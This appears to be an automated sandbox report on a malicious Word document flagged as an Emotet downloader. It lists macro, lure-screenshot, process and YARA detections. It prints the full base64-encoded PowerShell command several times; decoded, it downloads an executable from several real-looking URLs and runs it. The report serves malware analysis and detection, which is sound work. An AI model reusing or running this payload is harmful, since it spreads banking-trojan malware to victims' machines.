    Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powersheLL -e JAByAGUAaQB6AG4AZQBpAGcAYgBlAG8AYgBsAGEAaQBrAD0AJwB0AGgAbwB1AGMAcQB1AGkAZQB0AGMAbwBvAHAAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGMAYABVAFIASQBgAFQAWQBQAHIAbwBgAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAAgAD0AIAAnADkANwAyACcAOwAkAGQAbwB1AGsAdwBpAG8AYgBnAGUAZQBqAHcAZQB6AD0AJwB4AG8AZQBxAHUAbQBpAGUAdAAnADsAJABiAG8AaQB0AGgAYgBhAG8AbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAArACcALgBlAHgAZQAnADsAJAB4AG8AaQB6AHQAaABlAGEAYwBoAG8AbwBrAD0AJwBzAG8AaQBzAGgAZQBlAGMAaABhAHoAcABlAG8AYwAnADsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAGUATgB0ADsAJABqAGkAYQBsAGQAbwB2AGoAZQBmAD0AJwBoAHQAdABwAHMAOgAvAC8AZgBhAHMAdAByAGUAYQBkAGgAbwB0AG4AZQB3AHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AOAA3AG4AegB5AF8AbAA1AF8AbgBzAGUAawAvACoAaAB0AHQAcAA6AC8ALwB4AHkAYwBnAHMAYwBrAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA0AGwAdABwAF8ANgBoAF8AZAA2AGgAYwBpAGoAcgBpADgALwAqAGgAdAB0AHAAcwA6AC8ALwBiAG8AdQBsAGQAZQByAGkAbgBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANwAxADAAcwBqADEAaAB5ADkANgB5AG4AeQBmAGUAbgBzADcAYgBtADUAMwBhADkAaABfADcAZwBwAGcAMgBhAF8AZwAxADQAOAA3AHAAYgAvACoAaAB0AHQAcAA6AC8ALwBjAGgAYwBxAHUAaQBtAGkAYwBhAC4AYwBvAG0ALgBiAHIALwBsAG8AagBhAC8AcQB0AGIAbQBtAGoAcgB0ADEANABrAGQANABvAHQAXwB0ADkAYwBmAHkAOAAzAF8AZwA0ADIAbgA4AHQAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAaQBqAHMAdgBhAG4AcgBvAGkAagAuAG4AbAAvADEANwAwADEAMAAxAC8AYwB1AGEANQBtAG4AegBqAGYAYwBnADgAYgBpADgAZQBzAGoAagB1AF8AcgB5AGkAdQBkAF8AcQBqAHYAMgB6AGMAZwBpAHgAcwAvACcALgAiAHMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAagBpAG8AZwB5AGUAdQBxAHUAdABhAGUAYgB6AGUAZQBsAD0AJwBtAGEAZgBqAGEAdQBnAHQAYQBlAGYAYgBlAG8AZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMAIABpAG4AIAAkAGoAaQBhAGwAZABvAHYAagBlAGYAKQB7AHQAcgB5AHsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AC4AIgBEAGAAbwBXAE4AbABPAEEAYABkAGYASQBsAEUAIgAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMALAAgACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAYwBvAHUAYwBoAHkAYQBvAHMAPQAnAHIAbwBlAHcAZgBhAG8AdAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAGIAbwBpAHQAaABiAGEAbwBuACkALgAiAEwAZQBuAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADkANgAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAYABUAGUAIgAoACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAZABvAGEAbAB5AHUAdQBqAGoAYQBuAGMAYQBvAHQAPQAnAG0AZQBhAGcAcQB1AGkAZQB0AGgAJwA7AGIAcgBlAGEAawA7ACQAZwBpAGUAcwByAG8AbwBuAGMAZQBpAHQAPQAnAGoAYQB1AGMAaABzAGEAZQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHAAZQBpAHYAaAB1AGMAaABoAGEAbwBnAD0AJwBwAHUAYQB0AG0AaQBvAGoAJwA=
    Yara detected Emotet DownloaderShow sources
    Source: Yara matchFile source: C:\Users\user\Documents\20200802\PowerShell_transcript.579569.jKiOczz_.20200802004125.txt, type: DROPPED

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 4Screenshot OCR: Enable Editing and then click Enable Content. Page1 of 1 Owords uu O Type here to search m % - I
    Source: Screenshot number: 4Screenshot OCR: Enable Content. Page1 of 1 Owords uu O Type here to search m % - I + 100% Ki E a a g wg sf -
    Source: Document image extraction number: 0Screenshot OCR: Enable Editing and then click Enable Content.
    Source: Document image extraction number: 0Screenshot OCR: Enable Content.
    Source: Screenshot number: 8Screenshot OCR: Enable Editing and then click Enable Content. Owords uu O Type here to search m % - I + '00% Ki
    Source: Screenshot number: 8Screenshot OCR: Enable Content. Owords uu O Type here to search m % - I + '00% Ki E a a g wg sf - E' q"' ::::
    Very long command line foundShow sources
    Source: unknownProcess created: Commandline size = 2706
    Source: SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.docOLE, VBA macro line: Private Sub Document_open()
    Source: VBA code instrumentationOLE, VBA macro: Module kifwitqueztheat, Function Document_openName: Document_open
    Source: SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.docOLE indicator, VBA macros: true
    Source: C:\Users\user\Documents\20200802\PowerShell_transcript.579569.jKiOczz_.20200802004125.txt, type: DROPPEDMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
    Source: classification engineClassification label: mal88.bank.troj.evad.winDOC@3/13@5/5
    Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.WordJump to behavior
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7084:120:WilError_01
    Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\{2AF73280-C7F5-40CF-B2DB-07AA4F7223B4} - OProcSessId.datJump to behavior
    Source: SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.docOLE indicator, Word Document stream: true
    Source: SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.docOLE document summary: title field not present or empty
    Source: SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.docOLE document summary: author field not present or empty
    Source: SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.docOLE document summary: edited time not present or 0
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
    Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
    Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding
    Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powersheLL -e JAByAGUAaQB6AG4AZQBpAGcAYgBlAG8AYgBsAGEAaQBrAD0AJwB0AGgAbwB1AGMAcQB1AGkAZQB0AGMAbwBvAHAAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGMAYABVAFIASQBgAFQAWQBQAHIAbwBgAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAAgAD0AIAAnADkANwAyACcAOwAkAGQAbwB1AGsAdwBpAG8AYgBnAGUAZQBqAHcAZQB6AD0AJwB4AG8AZQBxAHUAbQBpAGUAdAAnADsAJABiAG8AaQB0AGgAYgBhAG8AbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAArACcALgBlAHgAZQAnADsAJAB4AG8AaQB6AHQAaABlAGEAYwBoAG8AbwBrAD0AJwBzAG8AaQBzAGgAZQBlAGMAaABhAHoAcABlAG8AYwAnADsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAGUATgB0ADsAJABqAGkAYQBsAGQAbwB2AGoAZQBmAD0AJwBoAHQAdABwAHMAOgAvAC8AZgBhAHMAdAByAGUAYQBkAGgAbwB0AG4AZQB3AHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AOAA3AG4AegB5AF8AbAA1AF8AbgBzAGUAawAvACoAaAB0AHQAcAA6AC8ALwB4AHkAYwBnAHMAYwBrAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA0AGwAdABwAF8ANgBoAF8AZAA2AGgAYwBpAGoAcgBpADgALwAqAGgAdAB0AHAAcwA6AC8ALwBiAG8AdQBsAGQAZQByAGkAbgBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANwAxADAAcwBqADEAaAB5ADkANgB5AG4AeQBmAGUAbgBzADcAYgBtADUAMwBhADkAaABfADcAZwBwAGcAMgBhAF8AZwAxADQAOAA3AHAAYgAvACoAaAB0AHQAcAA6AC8ALwBjAGgAYwBxAHUAaQBtAGkAYwBhAC4AYwBvAG0ALgBiAHIALwBsAG8AagBhAC8AcQB0AGIAbQBtAGoAcgB0ADEANABrAGQANABvAHQAXwB0ADkAYwBmAHkAOAAzAF8AZwA0ADIAbgA4AHQAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAaQBqAHMAdgBhAG4AcgBvAGkAagAuAG4AbAAvADEANwAwADEAMAAxAC8AYwB1AGEANQBtAG4AegBqAGYAYwBnADgAYgBpADgAZQBzAGoAagB1AF8AcgB5AGkAdQBkAF8AcQBqAHYAMgB6AGMAZwBpAHgAcwAvACcALgAiAHMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAagBpAG8AZwB5AGUAdQBxAHUAdABhAGUAYgB6AGUAZQBsAD0AJwBtAGEAZgBqAGEAdQBnAHQAYQBlAGYAYgBlAG8AZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMAIABpAG4AIAAkAGoAaQBhAGwAZABvAHYAagBlAGYAKQB7AHQAcgB5AHsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AC4AIgBEAGAAbwBXAE4AbABPAEEAYABkAGYASQBsAEUAIgAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMALAAgACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAYwBvAHUAYwBoAHkAYQBvAHMAPQAnAHIAbwBlAHcAZgBhAG8AdAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAGIAbwBpAHQAaABiAGEAbwBuACkALgAiAEwAZQBuAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADkANgAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAYABUAGUAIgAoACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAZABvAGEAbAB5AHUAdQBqAGoAYQBuAGMAYQBvAHQAPQAnAG0AZQBhAGcAcQB1AGkAZQB0AGgAJwA7AGIAcgBlAGEAawA7ACQAZwBpAGUAcwByAG8AbwBuAGMAZQBpAHQAPQAnAGoAYQB1AGMAaABzAGEAZQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHAAZQBpAHYAaAB1AGMAaABoAGEAbwBnAD0AJwBwAHUAYQB0AG0AaQBvAGoAJwA=
    Source: unknownProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEWindow found: window name: SysTabControl32Jump to behavior
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior

    Data Obfuscation:

    barindex
    PowerShell case anomaly foundShow sources
    Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powersheLL -e JAByAGUAaQB6AG4AZQBpAGcAYgBlAG8AYgBsAGEAaQBrAD0AJwB0AGgAbwB1AGMAcQB1AGkAZQB0AGMAbwBvAHAAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGMAYABVAFIASQBgAFQAWQBQAHIAbwBgAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAAgAD0AIAAnADkANwAyACcAOwAkAGQAbwB1AGsAdwBpAG8AYgBnAGUAZQBqAHcAZQB6AD0AJwB4AG8AZQBxAHUAbQBpAGUAdAAnADsAJABiAG8AaQB0AGgAYgBhAG8AbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAArACcALgBlAHgAZQAnADsAJAB4AG8AaQB6AHQAaABlAGEAYwBoAG8AbwBrAD0AJwBzAG8AaQBzAGgAZQBlAGMAaABhAHoAcABlAG8AYwAnADsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAGUATgB0ADsAJABqAGkAYQBsAGQAbwB2AGoAZQBmAD0AJwBoAHQAdABwAHMAOgAvAC8AZgBhAHMAdAByAGUAYQBkAGgAbwB0AG4AZQB3AHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AOAA3AG4AegB5AF8AbAA1AF8AbgBzAGUAawAvACoAaAB0AHQAcAA6AC8ALwB4AHkAYwBnAHMAYwBrAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA0AGwAdABwAF8ANgBoAF8AZAA2AGgAYwBpAGoAcgBpADgALwAqAGgAdAB0AHAAcwA6AC8ALwBiAG8AdQBsAGQAZQByAGkAbgBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANwAxADAAcwBqADEAaAB5ADkANgB5AG4AeQBmAGUAbgBzADcAYgBtADUAMwBhADkAaABfADcAZwBwAGcAMgBhAF8AZwAxADQAOAA3AHAAYgAvACoAaAB0AHQAcAA6AC8ALwBjAGgAYwBxAHUAaQBtAGkAYwBhAC4AYwBvAG0ALgBiAHIALwBsAG8AagBhAC8AcQB0AGIAbQBtAGoAcgB0ADEANABrAGQANABvAHQAXwB0ADkAYwBmAHkAOAAzAF8AZwA0ADIAbgA4AHQAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAaQBqAHMAdgBhAG4AcgBvAGkAagAuAG4AbAAvADEANwAwADEAMAAxAC8AYwB1AGEANQBtAG4AegBqAGYAYwBnADgAYgBpADgAZQBzAGoAagB1AF8AcgB5AGkAdQBkAF8AcQBqAHYAMgB6AGMAZwBpAHgAcwAvACcALgAiAHMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAagBpAG8AZwB5AGUAdQBxAHUAdABhAGUAYgB6AGUAZQBsAD0AJwBtAGEAZgBqAGEAdQBnAHQAYQBlAGYAYgBlAG8AZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMAIABpAG4AIAAkAGoAaQBhAGwAZABvAHYAagBlAGYAKQB7AHQAcgB5AHsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AC4AIgBEAGAAbwBXAE4AbABPAEEAYABkAGYASQBsAEUAIgAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMALAAgACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAYwBvAHUAYwBoAHkAYQBvAHMAPQAnAHIAbwBlAHcAZgBhAG8AdAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAGIAbwBpAHQAaABiAGEAbwBuACkALgAiAEwAZQBuAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADkANgAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAYABUAGUAIgAoACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAZABvAGEAbAB5AHUAdQBqAGoAYQBuAGMAYQBvAHQAPQAnAG0AZQBhAGcAcQB1AGkAZQB0AGgAJwA7AGIAcgBlAGEAawA7ACQAZwBpAGUAcwByAG8AbwBuAGMAZQBpAHQAPQAnAGoAYQB1AGMAaABzAGEAZQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHAAZQBpAHYAaAB1AGMAaABoAGEAbwBnAD0AJwBwAHUAYQB0AG0AaQBvAGoAJwA=

    Persistence and Installation Behavior: